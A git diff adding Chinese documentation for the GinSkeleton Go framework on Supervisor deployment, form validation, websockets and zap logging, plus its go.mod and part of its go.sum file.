b/GinSkeleton/docs/supervisor.md @@ -0,0 +1,77 @@ +### Supervisor 部署 + +`Supervisor` 是 `Linux/Unix` 系统下的一个进程管理工具,可靠稳定,很多著名框架的进程守护都推荐使用该软件。 + +#### 安装 Supervisor +> 这里仅举例 `CentOS` 系统下的安装方式: + +```bash +# 安装 epel 源,如果此前安装过,此步骤跳过 +yum install -y epel-release +yum install -y supervisor // 【ubutu】apt-get install supervisor +``` + +#### 创建一个配置文件 +```bash +cp /etc/supervisord.conf /etc/supervisord.d/supervisord.conf + +#编辑刚才新复制的配置文件 +vim /etc/supervisord.d/supervisord.conf + +# 在[include]节点前添加以下内容,保存 + +[program:GoSkeleton] +# 设置命令在指定的目录内执行 +directory=/home/wwwroot/GoProject2020/goskeleton/ +#例如,我们编译完以后的go程序名为:main +command= /bin/bash -c ./main +user=root +# supervisor 启动时自动该应用 +autostart=true +# 进程退出后自动重启进程 +autorestart=true +# 进程持续运行多久才认为是启动成功 +startsecs = 5 +# 启动重试次数 +startretries = 3 +#指定日志目录(将原来在调试输出界面的内容统一写到指定文件) +stdout_logfile=/home/wwwroot/GoProject2020/Storage/logs/out.log +stderr_logfile=/home/wwwroot/GoProject2020/Storage/logs/err.log + +``` + + + +#### 配置 `Supervisor` 可视化管理界面 +> 1.编辑配置文件 /etc/supervisord.d/supervisord.conf ,将以下注释打开即可。 +```ini +[inet_http_server] +port=0.0.0.0:9001 +#设置可视化管理账号 +username=user_name +#设置可视化管理密码 +password=user_pass +``` + + +#### 启动 Supervisor +```jsunicoderegexp +supervisord -c /etc/supervisord.d/supervisord.conf +``` + +#### 使用 supervisorctl 命令管理项目 +> 此时你也可以通过浏览器打开 `ip:9001` 地址,输入账号、密码对应用程序进行可视化管理。 +```bash +# 启动 Goskeleton 应用 +supervisorctl start Goskeleton +# 重启 GoSkeleton 应用 +supervisorctl restart Goskeleton +# 停止 GoSkeleton 应用 +supervisorctl stop Goskeleton +# 查看所有被管理项目运行状态 +supervisorctl status +# 重新加载配置文件,一般是增加了新的项目节点,执行此命令即可使新项目运行起来而不影响老项目 +supervisorctl update +# 重新启动所有程序 +supervisorctl reload +``` diff --git a/GinSkeleton/docs/validator.md b/GinSkeleton/docs/validator.md new file mode 100644 index 0000000..43fb671 --- /dev/null +++ b/GinSkeleton/docs/validator.md @@ -0,0 +1,58 @@ +### validator 表单参数验证器语法介绍 +> 1.本篇将选取表单参数验证器( `https://github.com/go-playground/validator` )主要语法进行介绍,方便本项目骨架使用者快速上手. +> 2.更详细的语法参与参见官方文档:`https://godoc.org/github.com/go-playground/validator` + +#### 1.我们以用户注册代码块为例进行介绍. +> 1.[用户注册代码详情](../app/http/validator/web/users/register.go), 摘取表单参数验证部分. +> 2.以下语法虽然看似简单,实际上已经覆盖了绝大部分常用场景的需求. +```code +// 给出一些最常用的验证规则: +//required 必填; +//len=11 长度=11; +//min=3 如果是数字,验证的是数据大小范围,最小值为3,如果是文本,验证的是最小长度为3, +//max=6 如果是数字,验证的是数字最大值为6,如果是文本,验证的是最大长度为6 +//mail 验证邮箱 +//gt=3 对于文本就是长度>=3 +//lt=6 对于文本就是长度<=6 + + +type Register struct { + // 必填、文本类型,表示它的长度>=1 + UserName string `form:"user_name" json:"user_name" binding:"required,min=1"` + + //必填,密码长度范围:【6,20】闭区间 + Pass string `form:"pass" json:"pass" binding:"required,min=6,max=20"` + + // 验证码,必填,长度等于:4 + //Captcha string `form:"captcha" json:"captcha" binding:"required,len=4"` + + // 年龄,必填,数字类型,大小范围【1,200】闭区间 + //Age float64 `form:"age" json:"age" binding:"required,min=1,max=200"` + + // 状态:必填,数字类型,大小范围:【0,1】 闭区间 , + // 注意: 如果你的表单参数含有0值是允许提交的,必须用指针类型(*float64),而 float64 类型则认为 0 值不合格 + Status *float64 `form:"status" json:"status" binding:"required,min=0,max=1"` +} + +// 注意:这里的接收器 r,必须是 r Register, 绝对不能是 r *Register +// 因为在 ginskeleton 里面表单参数验证器是注册在容器的代码段, +// 如果是指针,带参数的接口请求,就会把容器的原始代码污染。 +func (r Register) CheckParams(context *gin.Context) { + // context.ShouldBind(&r) 则自动绑定 form-data 提交的表单参数 + if err := context.ShouldBind(&r); err != nil { + + // 省略非验证器逻辑代码.... + // ... ... + + } + + // 如果您的客户端的数据是以json格式提交(popstman中的raw格式),那么就用如下语法 + // context.ShouldBindJson(&r) 则自动绑定 json格式提交的参数 + +} + +``` + +#### 2.以上语法特别说明. +> 1.对于数字类型(int8、int、int64、float32、float64等)我们统一使用 float64、*float64 接受. +> 2.如果您的业务要求数字格式为 int类型,那么使用 int() 等数据类型转换函数自行转换即可. diff --git a/GinSkeleton/docs/websocket.md b/GinSkeleton/docs/websocket.md new file mode 100644 index 0000000..f983e1e --- /dev/null +++ b/GinSkeleton/docs/websocket.md @@ -0,0 +1,109 @@ +### websocket + +##### 1.基本用法 +> 以下代码展示的是每一个 websocket 客户端连接到服务端所拥有的功能 +- [相关代码位置](../app/service/websocket/ws.go) +```code +package websocket + +import ( + "fmt" + "github.com/gin-gonic/gin" + "github.com/gorilla/websocket" + "go.uber.org/zap" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/websocket/core" +) + +/** +websocket模块相关事件执行顺序: +1.onOpen +2.OnMessage +3.OnError +4.OnClose +*/ + +type Ws struct { + WsClient *core.Client +} + +// onOpen 基本不需要做什么 +func (w *Ws) OnOpen(context *gin.Context) (*Ws, bool) { + if client, ok := (&core.Client{}).OnOpen(context); ok { + w.WsClient = client + go w.WsClient.Heartbeat() // 一旦握手+协议升级成功,就为每一个连接开启一个自动化的隐式心跳检测包 + return w, true + } else { + return nil, false + } +} + +// OnMessage 处理业务消息 +func (w *Ws) OnMessage(context *gin.Context) { + go w.WsClient.ReadPump(func(messageType int, receivedData []byte) { + //参数说明 + //messageType 消息类型,1=文本 + //receivedData 服务器接收到客户端(例如js客户端)发来的的数据,[]byte 格式 + + tempMsg := "服务器已经收到了你的消息==>" + string(receivedData) + // 回复客户端已经收到消息; + if err := w.WsClient.SendMessage(messageType, tempMsg); err != nil { + variable.ZapLog.Error("消息发送出现错误", zap.Error(err)) + } + + }, w.OnError, w.OnClose) +} + +// OnError 客户端与服务端在消息交互过程中发生错误回调函数 +func (w *Ws) OnError(err error) { + w.WsClient.State = 0 // 发生错误,状态设置为0, 心跳检测协程则自动退出 + variable.ZapLog.Error("远端掉线、卡死、刷新浏览器等会触发该错误:", zap.Error(err)) + //fmt.Printf("远端掉线、卡死、刷新浏览器等会触发该错误: %v\n", err.Error()) +} + +// OnClose 客户端关闭回调,发生onError回调以后会继续回调该函数 +func (w *Ws) OnClose() { + + w.WsClient.Hub.UnRegister <- w.WsClient // 向hub管道投递一条注销消息,由hub中心负责关闭连接、删除在线数据 +} + +//获取在线的全部客户端 +func (w *Ws) GetOnlineClients() { + + fmt.Printf("在线客户端数量:%d\n", len(w.WsClient.Hub.Clients)) +} + +// (每一个客户端都有能力)向全部在线客户端广播消息 +func (w *Ws) BroadcastMsg(sendMsg string) { + for onlineClient := range w.WsClient.Hub.Clients { + + //获取每一个在线的客户端,向远端发送消息 + if err := onlineClient.SendMessage(websocket.TextMessage, sendMsg); err != nil { + variable.ZapLog.Error(my_errors.ErrorsWebsocketWriteMgsFail, zap.Error(err)) + } + } +} + + +``` + + +##### 2.在本项目骨架任意位置,向所有在线的 websocet 客户端广播消息 +> 核心原理:每一个 websocket 客户端都有一个 Hub 结构体,而这个结构体是本项目骨架设置的全局值,因此在任意位置创建一个 websocket 客户端,只要将 Hub 值赋予全局初始化的:variable.WebsocketHub,就可以在任意位置进行广播消息. +```code +package demo1 + +import ( + serviceWs "goskeleton/app/service/websocket" +) + +// 省略其他无关代码,相关的核心代码如下 + +if WsHub, ok := variable.WebsocketHub.(*core.Hub); ok { + // serviceWs 为 app/service/websocket 的别名 + ws := serviceWs.Ws{WsClient: &core.Client{Hub: WsHub}} + ws.BroadcastMsg("本项目骨架任意位置,使用本段代码对在线的 ws 客户端广播消息") +} + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/ws_js_client.md b/GinSkeleton/docs/ws_js_client.md new file mode 100644 index 0000000..83c09a1 --- /dev/null +++ b/GinSkeleton/docs/ws_js_client.md @@ -0,0 +1,79 @@ +## websocket js 客户端 + +### 前言 +> ws地址: ws://127.0.0.1:20201/admin/ws?token=sdsdsdsdsdsdsdsdsdsdsdsdssdsd +> 由于中间模拟校验了token参数,请自行随意提交超过20个字符 +> 以下代码保存为 `ws.html` 在浏览器直接访问即可连接服务端 +> ws服务默认未开启,请自行在配置文件 config/config.yml ,找到 websocket 选项,开启即可. +```html + + + + + + websocket client +   + + + + +
+ +

websocket client 测试代码

+ +
+ + +
+ +
+ + + + + + +
+ + + + + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/zap_log.md b/GinSkeleton/docs/zap_log.md new file mode 100644 index 0000000..d07a19b --- /dev/null +++ b/GinSkeleton/docs/zap_log.md @@ -0,0 +1,82 @@ +### 日志功能, 基于 zap + lumberjack 实现 +> 1.特点:高性能、极速,功能:实现日志的标准管理、日志文件的自动分隔备份. +> 2.该日志在项目骨架启动时我们封装了全局变量(variable.ZapLog),直接调用即可,底层按照官方标准封装,使用者调用后不需要关闭日志,也不需要担心全局变量写日志存在并发冲突问题,底层会自动加锁后再写。 +> 3.相关包 github 地址:https://github.com/uber-go/zap 、 https://github.com/natefinch/lumberjack + + +### 前言 +> 1.日志相关的配置参见,config目录内的config.yml文件,Logs 部分,程序默认处于`AppDebug|调试模式`,日志输出在console面板,编译时记得切换模式。 +> 2.本文档列举几种最常用的用法, 想要深度学习请参考相关的 github 地址. + +### 日志处理, 标准函数 +> 参数一:文本型 +> 参数二:可变参数,可传递0个或者多个 Field 类型参数,Field 类型传递规则参见下文 +```code +> 1. Debug(参数一, 参数二) , 调试级别,会产生大量日志,只在开发模式(AppDebug=true)会输出日志打印在console面板,生产模式该函数禁用。 +> 2. Info(参数一, 参数二) , 一般信息,默认级别。 +> 3. Warn(参数一, 参数二) , 警告 +> 4. Panic(参数一, 参数二)、Dpanic(参数一, 参数二) , 恐慌、宕机,不建议使用 +> 5. Error(参数一, 参数二) , 错误 +> 6. Fatal(参数一, 参数二) , 致命错误,会导致程序进程退出。 +``` + +### 标准函数的参数二 Field 类型,最常用传递方式 +> 1.Int 类型 : zap.Int("userID",2019) , 同类的还有 int16 、 int32等 +> 2.String 类型 : zap.String("userID","2019") +> 3.Error 类型 : zap.Error(v_err) , v_err 为 error(错误类型),例如使用 v_err:= error.New("模拟一个错误") +> 4.Bool 类型 : zap.Bool("is_ok",true) + + +#### 用法 1 , 高性能模式 . +> 1.举例展示最常用用法 +```code + variable.ZapLog.Info("基本的运行提示类信息") + variable.ZapLog.Warn("UserCreate接口参数非法警告,相关参数:",zap.String("userName","demo_name"),zap.Int("userAge",18)) + variable.ZapLog.Panic("UserDestory接口参数异常,相关参数:",zap.String("userName","demo_name"),zap.String("password","pass123456") + variable.ZapLog.Error("UserDestory接口参数错误,相关参数:",zap.Error(error)) + variable.ZapLog.Fatal("Mysql初始化参数错误,退出运行。相关参数:",zap.String("name","root"), zap.Int("端口",3306)) + +``` + +#### 用法2 , 语法糖模式 . +> 1.比第一种用法性能稍低,只不过基于第一种用法,相关的函数全部增加了格式化参数功能 +```code + # 第一种的函数后面全部添加了一个 w ,相关的函数功能和第一种一模一样 + variable.ZapLog.Sugar().Infow("基本的运行提示类信息",zap.String("name","root")) + +# 格式化参数,第一种用法中的函数后面添加了一个 f + variable.ZapLog.Sugar().Infof("参数 userId %d\n",2020) + + variable.ZapLog.Sugar().Errorw("程序发生错误",zap.Error(error)) + variable.ZapLog.Sugar().Errorf("参数非法,程序出错,userId %d\n",2020) + + Warn 、 Panic 、Fatal用法类似 + +``` + +#### 日志钩子 +> 1.除了本项目骨架记录日志之外,您还可以对日志进行二次加工处理. +> 2.日志钩子函数处理位置 > `app/service/sys_log_hook/zap_log_hooks.go` +> 3.`bootStrap/init.go` 中你可以修改钩子函数的位置 +> 相关代码位置 `app/service/sys_log_hook/zap_log_hooks.go ` +```code +func ZapLogHandler(entry zapcore.Entry) error { + + // 参数 entry 介绍 + // entry 参数就是单条日志结构体,主要包括字段如下: + //Level 日志等级 + //Time 当前时间 + //LoggerName 日志名称 + //Message 日志内容 + //Caller 各个文件调用路径 + //Stack 代码调用栈 + + //这里启动一个协程,hook丝毫不会影响程序性能, + go func(paramEntry zapcore.Entry) { + //fmt.Println(" GoSkeleton hook ....,你可以在这里继续处理系统日志....") + //fmt.Printf("%#+v\n", paramEntry) + }(entry) + return nil +} + +``` \ No newline at end of file diff --git a/GinSkeleton/go.mod b/GinSkeleton/go.mod new file mode 100644 index 0000000..3c85695 --- /dev/null +++ b/GinSkeleton/go.mod @@ -0,0 +1,93 @@ +module goskeleton + +go 1.20 + +require ( + github.com/casbin/casbin/v2 v2.98.0 + github.com/casbin/gorm-adapter/v3 v3.26.0 + github.com/dchest/captcha v1.0.0 + github.com/dgrijalva/jwt-go v3.2.1-0.20210802184156-9742bd7fca1c+incompatible + github.com/fsnotify/fsnotify v1.7.0 + github.com/gin-contrib/pprof v1.5.0 + github.com/gin-gonic/gin v1.10.0 + github.com/go-playground/locales v0.14.1 + github.com/go-playground/universal-translator v0.18.1 + github.com/go-playground/validator/v10 v10.22.0 + github.com/gomodule/redigo v1.9.2 + github.com/gorilla/websocket v1.5.3 + github.com/natefinch/lumberjack v2.0.0+incompatible + github.com/qifengzhang007/goCurl v1.4.0 + github.com/rabbitmq/amqp091-go v1.10.0 + github.com/spf13/cobra v1.8.1 + github.com/spf13/viper v1.18.2 + go.uber.org/zap v1.27.0 + gorm.io/driver/mysql v1.5.7 + gorm.io/driver/postgres v1.5.9 + gorm.io/driver/sqlserver v1.5.3 + gorm.io/gorm v1.25.11 + gorm.io/plugin/dbresolver v1.5.2 +) + +require ( + github.com/BurntSushi/toml v1.4.0 // indirect + github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 // indirect + github.com/bytedance/sonic v1.11.6 // indirect + github.com/bytedance/sonic/loader v0.1.1 // indirect + github.com/casbin/govaluate v1.2.0 // indirect + github.com/cloudwego/base64x v0.1.4 // indirect + github.com/cloudwego/iasm v0.2.0 // indirect + github.com/dustin/go-humanize v1.0.1 // indirect + github.com/gabriel-vasile/mimetype v1.4.3 // indirect + github.com/gin-contrib/sse v0.1.0 // indirect + github.com/glebarez/go-sqlite v1.20.3 // indirect + github.com/glebarez/sqlite v1.7.0 // indirect + github.com/go-sql-driver/mysql v1.7.0 // indirect + github.com/goccy/go-json v0.10.2 // indirect + github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect + github.com/golang-sql/sqlexp v0.1.0 // indirect + github.com/google/uuid v1.4.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/jackc/pgpassfile v1.0.0 // indirect + github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect + github.com/jackc/pgx/v5 v5.5.5 // indirect + github.com/jackc/puddle/v2 v2.2.1 // indirect + github.com/jinzhu/inflection v1.0.0 // indirect + github.com/jinzhu/now v1.1.5 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/klauspost/cpuid/v2 v2.2.7 // indirect + github.com/leodido/go-urn v1.4.0 // indirect + github.com/magiconair/properties v1.8.7 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/microsoft/go-mssqldb v1.6.0 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/pelletier/go-toml/v2 v2.2.2 // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230126093431-47fa9a501578 // indirect + github.com/sagikazarmark/locafero v0.4.0 // indirect + github.com/sagikazarmark/slog-shim v0.1.0 // indirect + github.com/sourcegraph/conc v0.3.0 // indirect + github.com/spf13/afero v1.11.0 // indirect + github.com/spf13/cast v1.6.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/subosito/gotenv v1.6.0 // indirect + github.com/twitchyliquid64/golang-asm v0.15.1 // indirect + github.com/ugorji/go/codec v1.2.12 // indirect + go.uber.org/multierr v1.10.0 // indirect + golang.org/x/arch v0.8.0 // indirect + golang.org/x/crypto v0.23.0 // indirect + golang.org/x/exp v0.0.0-20230905200255-921286631fa9 // indirect + golang.org/x/net v0.25.0 // indirect + golang.org/x/sync v0.5.0 // indirect + golang.org/x/sys v0.20.0 // indirect + golang.org/x/text v0.15.0 // indirect + google.golang.org/protobuf v1.34.1 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect + gopkg.in/natefinch/lumberjack.v2 v2.2.1 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect + modernc.org/libc v1.22.2 // indirect + modernc.org/mathutil v1.5.0 // indirect + modernc.org/memory v1.5.0 // indirect + modernc.org/sqlite v1.20.3 // indirect +) diff --git a/GinSkeleton/go.sum b/GinSkeleton/go.sum new file mode 100644 index 0000000..3007fdc --- /dev/null +++ b/GinSkeleton/go.sum @@ -0,0 +1,316 @@ +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.4.0/go.mod h1:ON4tFdPTwRcgWEaVDrN3584Ef+b7GgSJaXxe5fW9t4M= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.0/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.6.1/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.1 h1:/iHxaJhsFr0+xVFfbMr5vxz848jyiWuIEDhYq3y5odY= +github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.1/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0 h1:vcYCAze6p19qBW7MhZybIsqD8sMV8js0NyQM8JDnVtg= +github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.3.0/go.mod h1:OQeznEEkTZ9OrhHJoDD8ZDq51FHgXjqtP9z6bEwBq9U= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.1.2/go.mod h1:eWRD7oawr1Mu1sLCawqVc0CUiF43ia3qQMxLscsKQ9w= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.2.0/go.mod h1:eWRD7oawr1Mu1sLCawqVc0CUiF43ia3qQMxLscsKQ9w= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 h1:sXr+ck84g/ZlZUOZiNELInmMgOsuGwdjjVkEIde0OtY= +github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0/go.mod h1:okt5dMMTOFjX/aovMlrjvvXoPMBVSPzk9185BT0+eZM= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.0.0 h1:yfJe15aSwEQ6Oo6J+gdfdulPNoZ3TEhmbhLIoxZcA+U= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.0.0/go.mod h1:Q28U+75mpCaSCDowNEmhIo/rmgdkqmkmzI7N6TGR4UY= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v0.8.0 h1:T028gtTPiYt/RMUfs8nVsAL7FDQrfLlrm/NnRG/zcC4= +github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v0.8.0/go.mod h1:cw4zVQgBby0Z5f2v0itn6se2dDP17nTjbZFXW5uPyHA= +github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0/go.mod h1:kgDmCTgBzIEPFElEF+FK0SdjAor06dRq2Go927dnQ6o= +github.com/AzureAD/microsoft-authentication-library-for-go v1.1.0 h1:HCc0+LpPfpCKs6LGGLAhwBARt9632unrVcI6i8s/8os= +github.com/AzureAD/microsoft-authentication-library-for-go v1.1.0/go.mod h1:wP83P5OoQ5p6ip3ScPr0BAq0BvuPAvacpEuSzyouqAI= +github.com/BurntSushi/toml v1.4.0 h1:kuoIxZQy2WRRk1pttg9asf+WVv6tWQuBNVmK8+nqPr0= +github.com/BurntSushi/toml v1.4.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= +github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ= +github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg= +github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0= +github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= +github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM= +github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= +github.com/casbin/casbin/v2 v2.98.0 h1:xjsnyQh1hhw5kYTZJTGh4K+pxXhPgYhcr+X7zEbEB4o= +github.com/casbin/casbin/v2 v2.98.0/go.mod h1:G2UyxPbyyrClPvzHQ4Yog6rtTz0x+Y2lc8qOwfqWLuc= +github.com/casbin/gorm-adapter/v3 v3.26.0 h1:4FhoNh6VqTa4CKV/B/LnwVCU073qMAFBEeQ85tlU4cc= +github.com/casbin/gorm-adapter/v3 v3.26.0/go.mod h1:aftWi0cla0CC1bHQVrSFzBcX/98IFK28AvuPppCQgTs= +github.com/casbin/govaluate v1.2.0 h1:wXCXFmqyY+1RwiKfYo3jMKyrtZmOL3kHwaqDyCPOYak= +github.com/casbin/govaluate v1.2.0/go.mod h1:G/UnbIjZk/0uMNaLwZZmFQrR72tYRZWQkO70si/iR7A= +github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= +github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= +github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= +github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= +github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= +github.com/dchest/captcha v1.0.0 h1:vw+bm/qMFvTgcjQlYVTuQBJkarm5R0YSsDKhm1HZI2o= +github.com/dchest/captcha v1.0.0/go.mod h1:7zoElIawLp7GUMLcj54K9kbw+jEyvz2K0FDdRRYhvWo= +github.com/dgrijalva/jwt-go v3.2.1-0.20210802184156-9742bd7fca1c+incompatible h1:kFnl8B5YgOXou7f+dsklKcGSXph/nubNx7I6d6RoFuE= +github.com/dgrijalva/jwt-go v3.2.1-0.20210802184156-9742bd7fca1c+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dnaeon/go-vcr v1.1.0/go.mod h1:M7tiix8f0r6mKKJ3Yq/kqU1OYf3MnfmBWVbPx/yU9ko= +github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nosvA= +github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= +github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= +github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= +github.com/gin-contrib/pprof v1.5.0 h1:E/Oy7g+kNw94KfdCy3bZxQFtyDnAX2V7axRS7sNYVrU= +github.com/gin-contrib/pprof v1.5.0/go.mod h1:GqFL6LerKoCQ/RSWnkYczkTJ+tOAUVN/8sbnEtaqOKs= +github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= +github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= +github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= +github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= +github.com/glebarez/go-sqlite v1.20.3 h1:89BkqGOXR9oRmG58ZrzgoY/Fhy5x0M+/WV48U5zVrZ4= +github.com/glebarez/go-sqlite v1.20.3/go.mod h1:u3N6D/wftiAzIOJtZl6BmedqxmmkDfH3q+ihjqxC9u0= +github.com/glebarez/sqlite v1.7.0 h1:A7Xj/KN2Lvie4Z4rrgQHY8MsbebX3NyWsL3n2i82MVI= +github.com/glebarez/sqlite v1.7.0/go.mod h1:PkeevrRlF/1BhQBCnzcMWzgrIk7IOop+qS2jUYLfHhk= +github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= +github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc= +github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI= +github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= +github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/golang-jwt/jwt/v4 v4.4.3/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/golang-jwt/jwt/v4 v4.5.0/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/golang-jwt/jwt/v5 v5.0.0 h1:1n1XNM9hk7O9mnQoNBGolZvzebBQ7p93ULHRc28XJUE= +github.com/golang-jwt/jwt/v5 v5.0.0/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 h1:au07oEsX2xN0ktxqI+Sida1w446QrXBRJ0nee3SNZlA= +github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0= +github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A= +github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI= +github.com/golang/mock v1.4.4 h1:l75CXGRSwbaYNpl/Z2X1XIIAMSCquvXgpVZDhwEIJsc= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/gomodule/redigo v1.9.2 h1:HrutZBLhSIU8abiSfW8pj8mPhOyMYjZT/wcA4/L9L9s= +github.com/gomodule/redigo v1.9.2/go.mod 